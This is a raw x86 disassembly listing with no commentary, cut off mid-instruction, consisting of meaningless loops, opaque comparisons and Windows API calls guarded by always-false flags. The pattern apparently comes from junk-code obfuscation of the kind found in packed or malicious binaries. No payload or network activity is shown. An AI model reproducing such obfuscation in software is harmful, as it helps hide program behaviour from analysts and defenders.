jmp 0x470b27
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 2
jg 0x470b51
mov byte [ebp - 0x289], 0
movzx eax, byte [ebp - 0x289]
test eax, eax
je 0x470b4f
push 0xbcc
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x470b1a
mov dword [ebp - 0x10c], 2
jmp 0x470b6a
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x470da7
mov dword [ebp - 0x2ec], 0xffffffff
mov dword [ebp - 0xfe4], 1
mov dword [ebp - 0x1e14], 8
mov dword [ebp - 0x2ec], 2
jmp 0x470bae
mov eax, dword [ebp - 0x2ec]
dec eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0
jl 0x470da2
push 2
lea ecx, [ebp - 0x29a4]
call fcn.00430131
push 1
lea ecx, [ebp - 0x298c]
call fcn.00430131
mov dword [ebp - 0x26ac], 0xa3888ad8
mov dword [ebp - 0x218], 0
jmp 0x470bf8
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 2
jge 0x470c1a
push dword [ebp - 0x218]
lea ecx, [ebp - 0x29a4]
call fcn.0043021f
mov dword [eax], 0x15bb0028
jmp 0x470beb
mov dword [ebp - 0x218], 0
jmp 0x470c33
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jge 0x470c55
push dword [ebp - 0x218]
lea ecx, [ebp - 0x298c]
call fcn.0043021f
mov dword [eax], 0xe3f2f34e
jmp 0x470c26
mov eax, 0xa21e
test eax, eax
je 0x470cfb
mov dword [ebp - 0xabc], 7
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0x2e64], eax
push 0
lea ecx, [ebp - 0x29a4]
call fcn.0043021f
imul eax, dword [eax], 0xaf78
mov dword [ebp - 0x258c], eax
push 0
lea ecx, [ebp - 0x298c]
call fcn.0043021f
mov ecx, dword [ebp - 0x258c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0xabc], eax
jge 0x470cc0
mov dword [ebp - 0xfdc], 1
jmp 0x470cc7
and dword [ebp - 0xfdc], 0
mov eax, dword [ebp - 0xfdc]
mov dword [ebp - 0x1e04], eax
mov eax, dword [ebp - 0x1e04]
imul eax, dword [ebp - 0x2ec]
mov dword [ebp - 0xfe4], eax
cmp dword [ebp - 0xfe4], 0
je 0x470cfb
mov dword [ebp - 0x1e0c], 1
jmp 0x470d02
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x1e0c], eax
jle 0x470d1c
mov dword [ebp - 0xfec], 1
jmp 0x470d23
and dword [ebp - 0xfec], 0
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp + eax*4 - 0x341c]
mov dword [ebp - 0x2e6c], eax
mov eax, dword [ebp - 0x26a4]
sub eax, dword [ebp - 0xfec]
neg eax
mov dword [ebp - 0x1e14], eax
mov eax, dword [ebp - 0x1e14]
mov dword [ebp - 0x2e74], eax
mov eax, 0xfc1f7b40
test eax, eax
jne 0x470d71
cmp dword [ebp - 0x2ec], 0
jne 0x470d71
and dword [ebp - 0xff4], 0
jmp 0x470d7b
mov dword [ebp - 0xff4], 1
mov eax, dword [ebp - 0xff4]
mov dword [ebp - 0x26ac], eax
lea ecx, [ebp - 0x298c]
call fcn.00430203
lea ecx, [ebp - 0x29a4]
call fcn.00430203
jmp 0x470ba1
jmp 0x470b5d
jmp 0x470acc
mov dword [ebp - 0x23c], 0x68206240
mov dword [ebp - 0xbf0], 0x8b06
mov dword [ebp - 0x26bc], 0x88b9228
mov dword [ebp - 0x23c], 0
jmp 0x470de3
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffe3
jg 0x470e35
mov dword [ebp - 0x77c], 0
jmp 0x470e05
mov eax, dword [ebp - 0x77c]
inc eax
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 3
jge 0x470e21
mov eax, dword [ebp - 0x77c]
mov dword [ebp + eax*4 - 0x33bc], 0xfffffff7
jmp 0x470df8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x33bc], 0
je 0x470e33
jmp 0x470e35
jmp 0x470dd6
cmp dword [ebp - 0x23c], 0
jne 0x470eae
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x2e7c], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x2e84], eax
cmp dword [ebp - 0xbf0], 0
jne 0x470e6b
mov dword [ebp - 0x1e1c], 1
jmp 0x470e72
and dword [ebp - 0x1e1c], 0
imul eax, dword [ebp - 0x1e1c], 0xfff7
cmp eax, 1
jge 0x470e8d
mov dword [ebp - 0xffc], 1
jmp 0x470e94
and dword [ebp - 0xffc], 0
mov eax, dword [ebp - 0xffc]
sub eax, 9
cmp eax, dword [ebp - 0xbf0]
jle 0x470eae
and dword [ebp - 0x26b4], 0
jmp 0x470eb8
mov dword [ebp - 0x26b4], 1
mov eax, dword [ebp - 0xbf0]
mov dword [ebp - 0x2e8c], eax
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x470edd
cmp dword [ebp - 0x23c], 0
jne 0x470edd
and dword [ebp - 0x1e24], 0
jmp 0x470ee7
mov dword [ebp - 0x1e24], 1
mov eax, dword [ebp - 0x1e24]
mov dword [ebp - 0x26bc], eax
mov dword [ebp - 0x1c4], 0
jmp 0x470f0c
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jge 0x470f28
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x1898], 0xfffffff7
jmp 0x470eff
mov dword [ebp - 0x414], 0x7f6af112
push 2
lea ecx, [ebp - 0x27f8]
call fcn.00430131
mov dword [ebp - 0x93c], 0
jmp 0x470f58
mov eax, dword [ebp - 0x93c]
inc eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 2
jge 0x470f77
push dword [ebp - 0x93c]
lea ecx, [ebp - 0x27f8]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x470f4b
mov dword [ebp - 0x414], 0
jmp 0x470f90
mov eax, dword [ebp - 0x414]
dec eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xfffffff9
jne 0x47110d
mov dword [ebp - 0x634], 0xfffffff7
cmp dword [ebp - 0x634], 0
je 0x470fb5
jmp 0x47110d
mov dword [ebp - 0x634], 0
jmp 0x470fce
cmp dword [ebp - 0x634], 1
jg 0x471108
mov dword [ebp - 0x17c], 0xffffffff
mov dword [ebp - 0x17c], 1
jmp 0x470ffe
cmp dword [ebp - 0x17c], 0
jl 0x4710c8
mov dword [ebp - 0x784], 1
mov dword [ebp - 0x784], 1
jmp 0x47102e
mov dword [ebp - 0x17c], 0
jmp 0x4710e1
jmp 0x470f83
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x414], eax
lea ecx, [ebp - 0x27f8]
call fcn.00430203
mov dword [ebp - 0x1c4], 0
jmp 0x47113d
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x47115f
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x2858]
call fcn.0043021f
mov dword [eax], 1
jmp 0x471130
push 1
lea ecx, [ebp - 0xc0c]
call fcn.00430131
mov dword [ebp - 0x26c4], 0xfffffff7
mov dword [ebp - 0x944], 0
jmp 0x47118f
mov eax, dword [ebp - 0x944]
inc eax
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 1
jge 0x4711b1
push dword [ebp - 0x944]
lea ecx, [ebp - 0xc0c]
call fcn.0043021f
mov dword [eax], 1
jmp 0x471182
mov byte [ebp - 0x3b8], 0
movzx eax, byte [ebp - 0x3b8]
test eax, eax
je 0x4711cb
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
lea ecx, [ebp - 0xc0c]
call fcn.0043021f
cmp dword [eax], 0xb99
jle 0x4711f6
cmp dword [ebp + 8], 1
jne 0x47cdec
mov dword [ebp - 0x20], 0x10c93b4e
mov dword [ebp - 0x22c], 0xe7359842
push 3
lea ecx, [ebp - 0x1fc4]
call fcn.00430131
mov dword [ebp - 0xb1c], 0x5ff9b037
mov dword [ebp - 0x70], 0
jmp 0x478376
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x47838c
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xbc8], 0xa59e478d
jmp 0x47836f
mov dword [ebp - 0x70], 0
jmp 0x47839c
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x4783b5
push dword [ebp - 0x70]
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
and dword [eax], 0
jmp 0x478395
mov dword [ebp - 0x70], 0
jmp 0x4783c5
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x4783db
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x2c00], 1
jmp 0x4783be
mov dword [ebp - 0x20], 0xfffffffc
jmp 0x4783eb
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffed
jge 0x478868
mov dword [ebp - 0x1ee0], 1
mov dword [ebp - 0x1edc], 1
mov dword [ebp - 0x1ed8], 1
mov dword [ebp - 0x1ed4], 1
mov dword [ebp - 0x510], 0xf59ec134
mov dword [ebp - 0xa44], 0
mov dword [ebp - 0x1f00], 0xffffffff
push 2
lea ecx, [ebp - 0x2b18]
call fcn.00430131
mov dword [ebp - 0xa3c], 0
jmp 0x478461
mov eax, dword [ebp - 0xa3c]
inc eax
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 2
jge 0x478483
push dword [ebp - 0xa3c]
lea ecx, [ebp - 0x2b18]
call fcn.0043021f
mov dword [eax], 7
jmp 0x478454
cmp dword [ebp - 0x20], 0
je 0x4784ec
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ee0], 0xfffffffe
jg 0x4784a5
mov dword [ebp - 0x1ad0], 1
jmp 0x4784ac
and dword [ebp - 0x1ad0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ee0]
cmp dword [ebp - 0x1ad0], eax
jne 0x4784cd
mov dword [ebp - 0x1568], 1
jmp 0x4784d4
and dword [ebp - 0x1568], 0
cmp dword [ebp - 0x1568], 0xc15d0d65
jae 0x4784ec
mov dword [ebp - 0x2478], 1
jmp 0x4784f3
and dword [ebp - 0x2478], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x320c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2bec], eax
mov eax, 0x4cf59275
test eax, eax
je 0x478520
cmp dword [ebp - 0x20], 0
je 0x478520
mov dword [ebp - 0x1d88], 1
jmp 0x478527
and dword [ebp - 0x1d88], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1d88]
sub eax, dword [ebp - 0x20]
je 0x478542
mov dword [ebp - 0x1570], 1
jmp 0x478549
and dword [ebp - 0x1570], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x1570]
jle 0x478570
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ee0], 0
je 0x478570
mov dword [ebp - 0x1ad8], 1
jmp 0x478577
and dword [ebp - 0x1ad8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ee0]
cmp dword [ebp - 0x1ad8], eax
jle 0x478598
mov dword [ebp - 0x1578], 1
jmp 0x47859f
and dword [ebp - 0x1578], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1578], eax
jle 0x4785fc
mov dword [ebp - 0x500], 0x84255ebd
mov dword [ebp - 0x500], 0xffffffef
jmp 0x4785cd
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0xfffffff6
jge 0x4785eb
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ee0]
mov dword [ebp - 0x510], eax
jmp 0x4785c0
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x22c], eax
jmp 0x478768
mov dword [ebp - 0x1f98], 0xfffffffa
push 4
lea ecx, [ebp - 0x2774]
call fcn.00430131
mov dword [ebp - 0x884], 0
jmp 0x47862c
mov eax, dword [ebp - 0x884]
inc eax
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 4
jge 0x47864e
push dword [ebp - 0x884]
lea ecx, [ebp - 0x2774]
call fcn.0043021f
mov dword [eax], 9
jmp 0x47861f
cmp dword [ebp - 0x510], 0
jne 0x47869b
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f98]
cmp dword [ebp + eax - 0x1ee0], ecx
jne 0x478678
mov dword [ebp - 0x229c], 1
jmp 0x47867f
and dword [ebp - 0x229c], 0
mov eax, dword [ebp - 0x1f98]
mov dword [ebp - 0x2f94], eax
push 0
lea ecx, [ebp - 0x2774]
call fcn.0043021f
or dword [eax], 0xffffffff
push 3
lea ecx, [ebp - 0x2774]
call fcn.0043021f
cmp dword [eax], 0
jne 0x4786bf
cmp dword [ebp - 0xa44], 0
jne 0x4786bf
and dword [ebp - 0x1580], 0
jmp 0x4786c9
mov dword [ebp - 0x1580], 1
mov eax, dword [ebp - 0x1580]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jl 0x4786f3
cmp dword [ebp - 0xa44], 0
je 0x4786f3
mov dword [ebp - 0x1ae0], 1
jmp 0x4786fa
and dword [ebp - 0x1ae0], 0
cmp dword [ebp - 0x1ae0], 0xffffffff
jg 0x47870f
mov dword [ebp - 0x1588], 1
jmp 0x478716
and dword [ebp - 0x1588], 0
cmp dword [ebp - 0x1588], 1
jb 0x47872b
mov dword [ebp - 0x1d90], 1
jmp 0x478732
and dword [ebp - 0x1d90], 0
cmp dword [ebp - 0x1d90], 0x6cd2
je 0x47874a
mov dword [ebp - 0x1590], 1
jmp 0x478751
and dword [ebp - 0x1590], 0
mov eax, dword [ebp - 0x1590]
mov dword [ebp - 0x510], eax
lea ecx, [ebp - 0x2774]
call fcn.00430203
mov eax, dword [ebp - 0x1f00]
sub eax, dword [ebp - 0xa44]
mov dword [ebp - 0x510], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ee0]
mov dword [ebp - 0x2c58], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ee0]
cmp dword [ebp - 0xa44], eax
jg 0x4787ae
mov dword [ebp - 0x1598], 1
jmp 0x4787b5
and dword [ebp - 0x1598], 0
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x1ae8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ae8]
mov dword [ebp + eax - 0xbc8], ecx
mov eax, dword [ebp - 0x1ae8]
cmp eax, dword [ebp - 0x1598]
jge 0x4787ee
mov dword [ebp - 0x2620], 1
jmp 0x4787f5
and dword [ebp - 0x2620], 0
mov eax, dword [ebp - 0x1f00]
mov dword [ebp - 0x31d8], eax
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x2c64], eax
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x2f9c], eax
push 1
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
mov eax, 0xc5c2
cmp eax, 4
jb 0x47883c
mov dword [ebp - 0x15a0], 1
jmp 0x478843
and dword [ebp - 0x15a0], 0
push 0
lea ecx, [ebp - 0x2b18]
call fcn.0043021f
mov ecx, dword [ebp - 0x15a0]
mov dword [eax], ecx
lea ecx, [ebp - 0x2b18]
call fcn.00430203
jmp 0x4783e4
push 1
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
mov ecx, dword [ebp - 0xb1c]
cmp dword [eax], ecx
jl 0x47888b
mov dword [ebp - 0x1af0], 1
jmp 0x478892
and dword [ebp - 0x1af0], 0
mov eax, dword [ebp - 0x1af0]
sub eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x4788ac
mov dword [ebp - 0x15a8], 1
jmp 0x4788b3
and dword [ebp - 0x15a8], 0
cmp dword [ebp - 0x15a8], 1
jge 0x4788c8
mov dword [ebp - 0x1d98], 1
jmp 0x4788cf
and dword [ebp - 0x1d98], 0
push 1
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1d98]
jg 0x4788f2
mov dword [ebp - 0x15b0], 1
jmp 0x4788f9
and dword [ebp - 0x15b0], 0
push 2
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
mov ecx, dword [ebp - 0x15b0]
cmp ecx, dword [eax]
jge 0x47891c
mov dword [ebp - 0x22a4], 1
jmp 0x478923
and dword [ebp - 0x22a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc8]
mov dword [ebp - 0x2c70], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc8], 0xffffffff
je 0x47895b
cmp dword [ebp - 0xb1c], 0
je 0x47895b
mov dword [ebp - 0x1af8], 1
jmp 0x478962
and dword [ebp - 0x1af8], 0
mov eax, 0xfeefedf0
sub eax, dword [ebp - 0x1af8]
jne 0x478981
cmp dword [ebp - 0x22c], 0
jne 0x478981
and dword [ebp - 0x15b8], 0
jmp 0x47898b
mov dword [ebp - 0x15b8], 1
push 1
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
mov ecx, dword [ebp - 0x15b8]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x20]
jne 0x4789b2
mov dword [ebp - 0x2020], 1
jmp 0x4789b9
and dword [ebp - 0x2020], 0
cmp dword [ebp - 0x2020], 0xfffffffc
jle 0x4789ce
mov dword [ebp - 0x2480], 1
jmp 0x4789d5
and dword [ebp - 0x2480], 0
mov eax, dword [ebp - 0xb1c]
mov dword [ebp - 0x3214], eax
push 1
lea ecx, [ebp - 0x1fc4]
call fcn.0043021f
mov dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x22c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x22c]
mov dword [ebp + eax - 0x2c00], ecx
lea ecx, [ebp - 0x1fc4]
call fcn.00430203
mov dword [ebp - 0x88c], 0xfebaeef2
mov dword [ebp - 0x14c], 0
jmp 0x478a3f
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 4
jge 0x478a5b
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x2710], 0x5711
jmp 0x478a32
mov dword [ebp - 0x14c], 0
jmp 0x478a74
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 4
jge 0x478a90
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x2be8], 0x1d6a56c3
jmp 0x478a67
mov dword [ebp - 0x88c], 3
jmp 0x478aa9
mov eax, dword [ebp - 0x88c]
dec eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 0
jl 0x478e26
push 1
lea ecx, [ebp - 0x207c]
call fcn.00430131
mov dword [ebp - 0xc0], 0xffffffff
mov dword [ebp - 0x22b4], 0xcfb6
mov dword [ebp - 0xa4c], 0
jmp 0x478af0
mov eax, dword [ebp - 0xa4c]
inc eax
mov dword [ebp - 0xa4c], eax
cmp dword [ebp - 0xa4c], 1
jge 0x478b12
push dword [ebp - 0xa4c]
lea ecx, [ebp - 0x207c]
call fcn.0043021f
mov dword [eax], 0xe2c0d37a
jmp 0x478ae3
push 0
lea ecx, [ebp - 0x207c]
call fcn.0043021f
and dword [eax], 0
jmp 0x478b48
push 0
lea ecx, [ebp - 0x207c]
call fcn.0043021f
mov dword [ebp - 0x15c0], eax
mov eax, dword [ebp - 0x15c0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x15c0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x207c]
call fcn.0043021f
cmp dword [eax], 3
jg 0x478c34
mov dword [ebp - 0x894], 0
mov dword [ebp - 0x894], 3
jmp 0x478b81
mov eax, dword [ebp - 0x894]
dec eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0
jl 0x478c2f
mov dword [ebp - 0xa54], 1
mov dword [ebp - 0xa54], 0
jmp 0x478bb1
mov eax, dword [ebp - 0xa54]
inc eax
mov dword [ebp - 0xa54], eax
cmp dword [ebp - 0xa54], 3
jg 0x478c2a
mov dword [ebp - 0x89c], 0xffffffff
mov dword [ebp - 0x89c], 3
jmp 0x478bdd
mov eax, dword [ebp - 0x89c]
dec eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0
jl 0x478c25
mov byte [ebp - 0x3f4], 0
movzx eax, byte [ebp - 0x3f4]
test eax, eax
je 0x478c07
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov byte [ebp - 0x2cd], 0
movzx eax, byte [ebp - 0x2cd]
test eax, eax
je 0x478c23
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
jmp 0x478bd0
jmp 0x478ba4
jmp 0x478b74
jmp 0x478b24
mov dword [ebp - 0xc0], 3
jmp 0x478c4d
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x478e16
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x2710]
mov dword [ebp - 0x2c78], eax
mov eax, dword [ebp - 0xc0]
mov ecx, 0x1b185749
sub ecx, dword [ebp + eax*4 - 0x2710]
cmp ecx, 6
ja 0x478c94
mov eax, dword [ebp - 0xc0]
cmp dword [ebp + eax*4 - 0x2710], 0
jne 0x478ca1
xor eax, eax
jne 0x478ca1
and dword [ebp - 0x1b00], 0
jmp 0x478cab
mov dword [ebp - 0x1b00], 1
cmp dword [ebp - 0x1b00], 0xfffffff6
jl 0x478cc0
mov dword [ebp - 0x15c8], 1
jmp 0x478cc7
and dword [ebp - 0x15c8], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x2710]
cmp dword [ebp - 0x15c8], eax
jne 0x478ce8
mov dword [ebp - 0x22ac], 1
jmp 0x478cef
and dword [ebp - 0x22ac], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc0]
cmp dword [ebp + eax - 0x2be8], ecx
jl 0x478d12
xor eax, eax
inc eax
jne 0x478d12
and dword [ebp - 0x1da0], 0
jmp 0x478d1c
mov dword [ebp - 0x1da0], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1da0]
sub ecx, 0x3b499b1
cmp dword [ebp + eax - 0x2be8], ecx
jle 0x478d43
mov dword [ebp - 0x15d0], 1
jmp 0x478d4a
and dword [ebp - 0x15d0], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x2710]
cmp dword [ebp - 0x15d0], eax
jl 0x478d6b
mov dword [ebp - 0x2568], 1
jmp 0x478d72
and dword [ebp - 0x2568], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2be8]
mov dword [ebp - 0x2fa4], eax
mov eax, dword [ebp - 0x22b4]
mov dword [ebp - 0x2c80], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2be8]
cmp dword [ebp - 0xc0], eax
je 0x478db2
mov dword [ebp - 0x1b08], 1
jmp 0x478db9
and dword [ebp - 0x1b08], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x2710]
cmp dword [ebp - 0x1b08], eax
jne 0x478df1
mov byte [ebp - 0x3cc], 0
movzx eax, byte [ebp - 0x3cc]
test eax, eax
je 0x478def
push 0xc31
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x478e11
push 0
lea ecx, [ebp - 0x207c]
call fcn.0043021f
mov esi, eax
push 0
lea ecx, [ebp - 0x207c]
call fcn.0043021f
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x478c40
lea ecx, [ebp - 0x207c]
call fcn.00430203
jmp 0x478a9c
mov dword [ebp - 0x8a4], 0xffffffff
mov dword [ebp - 0x34], 0xfffffff9
push 2
lea ecx, [ebp - 0x2b30]
call fcn.00430131
mov dword [ebp - 0x2488], 0xffffffff
mov dword [ebp - 0xa5c], 0
jmp 0x478e67
mov eax, dword [ebp - 0xa5c]
inc eax
mov dword [ebp - 0xa5c], eax
cmp dword [ebp - 0xa5c], 2
jge 0x478e86
push dword [ebp - 0xa5c]
lea ecx, [ebp - 0x2b30]
call fcn.0043021f
and dword [eax], 0
jmp 0x478e5a
cmp dword [ebp - 0x34], 0xb78a
jge 0x478e9b
mov dword [ebp - 0xc10], 1
jmp 0x478ea2
and dword [ebp - 0xc10], 0
push 1
lea ecx, [ebp - 0x2b30]
call fcn.0043021f
mov ecx, dword [ebp - 0xc10]
mov dword [eax], ecx
cmp dword [ebp - 0xc10], 0
je 0x478ed2
cmp dword [ebp - 0x34], 0
je 0x478ed2
mov dword [ebp - 0x15d8], 1
jmp 0x478ed9
and dword [ebp - 0x15d8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x15d8], eax
jne 0x478ef0
mov dword [ebp - 0x1f08], 1
jmp 0x478ef7
and dword [ebp - 0x1f08], 0
cmp dword [ebp - 0x1f08], 0xfffffff7
jge 0x478f0c
mov dword [ebp - 0x15e0], 1
jmp 0x478f13
and dword [ebp - 0x15e0], 0
mov eax, dword [ebp - 0x15e0]
sub eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
jl 0x478f2d
mov dword [ebp - 0x1b10], 1
jmp 0x478f34
and dword [ebp - 0x1b10], 0
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x1b10]
cmp eax, 5
jl 0x478f4f
mov dword [ebp - 0x15e8], 1
jmp 0x478f56
and dword [ebp - 0x15e8], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x15e8]
test eax, eax
jle 0x478f6f
mov dword [ebp - 0x1da8], 1
jmp 0x478f76
and dword [ebp - 0x1da8], 0
cmp dword [ebp - 0x1da8], 0x87d6364d
jae 0x478f8e
mov dword [ebp - 0x15f0], 1
jmp 0x478f95
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x15f0]
jne 0x478fac
mov dword [ebp - 0x1b18], 1
jmp 0x478fb3
and dword [ebp - 0x1b18], 0
cmp dword [ebp - 0x1b18], 0xfffffffb
jge 0x478fc8
mov dword [ebp - 0x15f8], 1
jmp 0x478fcf
and dword [ebp - 0x15f8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x15f8], eax
je 0x478fe6
mov dword [ebp - 0x1fa0], 1
jmp 0x478fed
and dword [ebp - 0x1fa0], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x1fa0], eax
je 0x479004
mov dword [ebp - 0x1600], 1
jmp 0x47900b
and dword [ebp - 0x1600], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x1600], eax
jg 0x479022
mov dword [ebp - 0x1b20], 1
jmp 0x479029
and dword [ebp - 0x1b20], 0
cmp dword [ebp - 0x1b20], 6
je 0x47903e
mov dword [ebp - 0x1608], 1
jmp 0x479045
and dword [ebp - 0x1608], 0
mov eax, dword [ebp - 0x1608]
mov dword [ebp - 0x2488], eax
mov dword [ebp - 0x34], 0
jmp 0x479061
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 8
je 0x479088
mov byte [ebp - 0x2d5], 0
movzx eax, byte [ebp - 0x2d5]
test eax, eax
je 0x479086
push 0
push 0x1bf0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x47905a
lea ecx, [ebp - 0x2b30]
call fcn.00430203
mov dword [ebp - 0x8a4], 3
jmp 0x4790ac
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 0x19
jg 0x479fc1
push 3
lea ecx, [ebp - 0x20e4]
call fcn.00430131
mov dword [ebp - 0x1db0], 0xfffffffb
mov dword [ebp - 0x2bd8], 0xffffffff
mov dword [ebp - 0x2bd4], 0xffffffff
mov dword [ebp - 0x2bd0], 0xffffffff
mov dword [ebp - 0x2bcc], 0xffffffff
mov dword [ebp - 0xbd0], 8
mov dword [ebp - 0x1f10], 0xdcb0c7b2
mov dword [ebp - 0x26b8], 0xea6
mov dword [ebp - 0x22c4], 0xfffffff8
mov dword [ebp - 0xa64], 0
jmp 0x479139
mov eax, dword [ebp - 0xa64]
inc eax
mov dword [ebp - 0xa64], eax
cmp dword [ebp - 0xa64], 3
jge 0x47915b
push dword [ebp - 0xa64]
lea ecx, [ebp - 0x20e4]
call fcn.0043021f
mov dword [eax], 1
jmp 0x47912c
mov byte [ebp - 0x3dc], 0
movzx eax, byte [ebp - 0x3dc]
test eax, eax
je 0x47917f
push 0x1ffe
push 0x41a
push 0
